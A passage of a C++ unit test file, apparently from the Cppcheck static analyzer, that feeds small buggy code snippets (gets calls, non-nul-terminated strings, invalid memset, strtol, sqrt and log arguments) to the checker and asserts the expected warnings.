[allocaCalled]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).c(Standards::C89).cpp(Standards::CPP03).build();\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &s)); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s)); // #7558 - no alternative to alloca in C89\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3121\n void prohibitedFunctions_declaredFunction() {\n check(\"int ftime ( int a )\\n\"\n \"{\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" int b ; b = ftime ( 1 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // test std::gets\n void prohibitedFunctions_std_gets() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" char *y = gets(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n // multiple use\n void prohibitedFunctions_multiple() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_c_declaration() {\n check(\"char * gets ( char * c ) ;\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"int getcontext(ucontext_t *ucp);\\n\"\n \"void f (ucontext_t *ucp)\\n\"\n \"{\\n\"\n \" getcontext ( ucp ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) Obsolescent function 'getcontext' called. Applications are recommended to be rewritten to use POSIX threads. [getcontextCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_functionWithBody() {\n check(\"char * gets ( char * c ) { return c; }\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_crypt() {\n check(\"void f(char *pwd)\\n\"\n \"{\\n\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:20]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *pwd = getpass(\\\"Password:\\\");\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:57]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:57]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int crypt = 0;\"\n \" return crypt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_namespaceHandling() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" auto lt = std::localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:37]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Passed as function argument\n check(\"void f()\\n\"\n \"{\\n\"\n \" printf(\\\"Magic guess: %d\\\", getpwent());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:31]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Pass return value\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" struct tm *foo = localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Access via global namespace\n check(\"void f()\\n\"\n \"{\\n\"\n \" ::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Return value of function ::getpwent() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:7]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Be quiet on function definitions\n check(\"int getpwent()\\n\"\n \"{\\n\"\n \" return 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on other namespaces\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on class member functions\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar.getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidFunctionUsage1() {\n check(\"void f() { memset(a,b,sizeof(a)!=12); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,sizeof(a)!=0); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,!c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6990\n check(\"void f(bool c) { memset(a,b,c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n check(\"void f() { memset(a,b,true); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c++ mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"int boolArgZeroIsInvalidButOneIsValid(int a, int param) {\\n\"\n \" return div(a, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Invalid div() argument nr 2. The value is 0 or 1 (boolean) but the valid values are ':-1,1:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void boolArgZeroIsValidButOneIsInvalid(int param) {\\n\"\n \" strtol(a, b, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Invalid strtol() argument nr 3. The value is 0 or 1 (boolean) but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,1); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid strtol() argument nr 3. The value is 1 but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,10); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10754\n \" int N = -1;\\n\"\n \" for (long i = 0; i < g(); i++)\\n\"\n \" N = h(N);\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N < -1)\\n\"\n \" return;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:14]: (warning) Either the condition 'N<-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N == -1) {}\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'N==-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N, bool b) {\\n\"\n \" if (b)\\n\"\n \" N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n }\n\n void invalidFunctionUsageStrings() {\n check(\"size_t f() { char x = 'x'; return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x) { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char x;\\n\"\n \" if (y)\\n\"\n \" x = '\\\\0';\\n\"\n \" else\\n\"\n \" x = 'a';\\n\"\n \" return strlen(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() { char x = '\\\\0'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { char x = 'x'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; return strlen(y); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = 'x'; char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; char * y = &x; char *z = y; return strlen(z); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x[]) { return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char x, char y) { return strcmp(&x, &y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (error) Invalid strcmp() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:1:43]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char* x = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"size_t f() {\\n\"\n \" S s1 = {0};\\n\"\n \" S s2;\\n;\"\n \" s2.x = 'x';\\n\"\n \" size_t l1 = strlen(&s1.x);\\n\"\n \" size_t l2 = strlen(&s2.x);\\n\"\n \" return l1 + l2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:9:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" uint16_t nr;\\n\"\n \" uint8_t d[40];\\n\"\n \" } data;\\n\"\n \" char buf[42];\\n\"\n \" } x;\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->x.buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" char buf[42];\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:60]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char * a = \\\"Hello world\\\";\\n\"\n \" char ** b = &a;\\n\"\n \" return strlen(&b[0][0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char ca[] = \\\"asdf\\\";\\n\"\n \" return strlen((char*) &ca);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5225\n check(\"int main(void)\\n\"\n \"{\\n\"\n \" char str[80] = \\\"hello worl\\\";\\n\"\n \" char d = 'd';\\n\"\n \" strcat(str, &d);\\n\"\n \" puts(str);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Invalid strcat() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[1] = { \\'x\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'x\\', \\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' ,\\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'\\\\0\\' ,\\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' };\\n\" // implicit '\\0' added at the end\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42 };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42, \\'x\\' };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'0\\' + 42 };\\n\" // implicitly '\\0' added at the end because size is set to 2\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void scanMetaTypes()\\n\" // don't crash\n \"{\\n\"\n \" QVector metaTypes;\\n\"\n \" for (int mtId = 0; mtId <= QMetaType::User; ++mtId) {\\n\"\n \" const auto name = QMetaType::typeName(mtId);\\n\"\n \" if (strstr(name, \\\"GammaRay::\\\") != name)\\n\"\n \" metaTypes.push_back(mtId);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"abc\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" const wchar_t c[3] = L\\\"abc\\\";\\n\"\n \" return wcslen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f(char* dest) {\\n\"\n \" char if_name[(IF_NAMESIZE > 21 ? IF_NAMESIZE : 21) + 1] = \\\"%\\\";\\n\"\n \" strcat(dest, if_name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"ab\\\\0\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n) {\\n\" // #11179\n \" char s[8] = \\\" \\\";\\n\"\n \" n = (n + 1) % 100;\\n\"\n \" sprintf(s, \\\"lwip%02d\\\", n);\\n\"\n \" s[strlen(s)] = ' ';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { wchar_t x = L'x'; return wcslen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f() { char a[10] = \\\"1234567890\\\"; puts(a); }\", dinit(CheckOptions, $.cpp = false)); // #1770\n ASSERT_EQUALS(\"[test.c:1:44]: (error) Invalid puts() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n }\n\n void invalidFunctionArg1() {\n const Settings settingsUnix32 = settingsBuilder(settings).platform(Platform::Unix32).build();\n check(\"int main() {\\n\"\n \" char tgt[7];\\n\"\n \" char src[7+1] = \\\"7777777\\\";\\n\"\n \" if (sizeof tgt <= sizeof src) {\\n\"\n \" memmove(&tgt, &src, sizeof tgt);\\n\"\n \" } else {\\n\"\n \" memmove(&tgt, &src, sizeof src);\\n\"\n \" memset(&tgt + sizeof src, ' ', sizeof tgt - sizeof src);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false, $.s = &settingsUnix32));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_sqrt() {\n // sqrt, sqrtf, sqrtl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-1) << std::endl;\\n\"\n \" std::cout << sqrtf(-1) << std::endl;\\n\"\n \" std::cout << sqrtl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid sqrt() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid sqrtf() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid sqrtl() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\", errout_str());\n\n // implementation-defined behaviour for \"finite values of x<0\" only:\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-0.) << std::endl;\\n\"\n \" std::cout << sqrtf(-0.) << std::endl;\\n\"\n \" std::cout << sqrtl(-0.) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(1) << std::endl;\\n\"\n \" std::cout << sqrtf(1) << std::endl;\\n\"\n \" std::cout << sqrtl(1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_log() {\n // log,log10,logf,logl,log10f,log10l,log2,log2f,log2l,log1p,log1pf,log1pl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-2) << std::endl;\\n\"\n \" std::cout << logf(-2) << std::endl;\\n\"\n \" std::cout << logl(-2) << std::endl;\\n\"\n \" std::cout << log10(-2) << std::endl;\\n\"\n \" std::cout << log10f(-2) << std::endl;\\n\"\n \" std::cout << log10l(-2) << std::endl;\\n\"\n \" std::cout << log2(-2) << std::endl;\\n\"\n \" std::cout << log2f(-2) << std::endl;\\n\"\n \" std::cout << log2l(-2) << std::endl;\\n\"\n \" std::cout << log1p(-3) << std::endl;\\n\"\n \" std::cout << log1pf(-3) << std::endl;\\n\"\n \" std::cout << log1pl(-3) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -2 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -2 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -2 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -2 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -2 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -2 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -2 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -2 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -2 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -3 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -3 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -3 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1) << std::endl;\\n\"\n \" std::cout << logf(-1) << std::endl;\\n\"\n \" std::cout << logl(-1) << std::endl;\\n\"\n \" std::cout << log10(-1) << std::endl;\\n\"\n \" std::cout << log10f(-1) << std::endl;\\n\"\n \" std::cout << log10l(-1) << std::endl;\\n\"\n \" std::cout << log2(-1) << std::endl;\\n\"\n \" std::cout << log2f(-1) << std::endl;\\n\"\n \" std::cout << log2l(-1) << std::endl;\\n\"\n \" std::cout << log1p(-2) << std::endl;\\n\"\n \" std::cout << log1pf(-2) << std::endl;\\n\"\n \" std::cout << log1pl(-2) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() 